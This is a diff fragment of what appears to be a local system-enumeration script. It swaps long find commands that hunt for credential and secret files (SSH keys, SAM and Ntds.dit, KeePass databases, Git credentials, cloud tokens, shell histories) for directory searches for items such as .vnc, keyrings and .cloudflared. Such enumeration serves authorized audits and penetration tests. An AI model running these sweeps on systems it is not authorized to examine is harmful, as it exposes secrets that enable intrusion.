-  FIND_BIN=`eval_bckgrd "find /bin -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_CACHE=`eval_bckgrd "find /.cache -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_CDROM=`eval_bckgrd "find /cdrom -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_ETC=`eval_bckgrd "find /etc -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"*knockd*\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"google-chrome\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"*config*ssh*\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"*ssh*config*\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"system.d\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".mozilla\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+  FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"filelliza\" -o -name \"ldap\" -o -name \".svn\" -o -name \".irssi\" -o -name \"logstash\" -o -name \".vnc\" -o -name \"bind\" -o -name \"neo4j\" -o -name \".bluemix\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"sites-enabled\" -o -name \"couchdb\" -o -name \".cloudflared\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
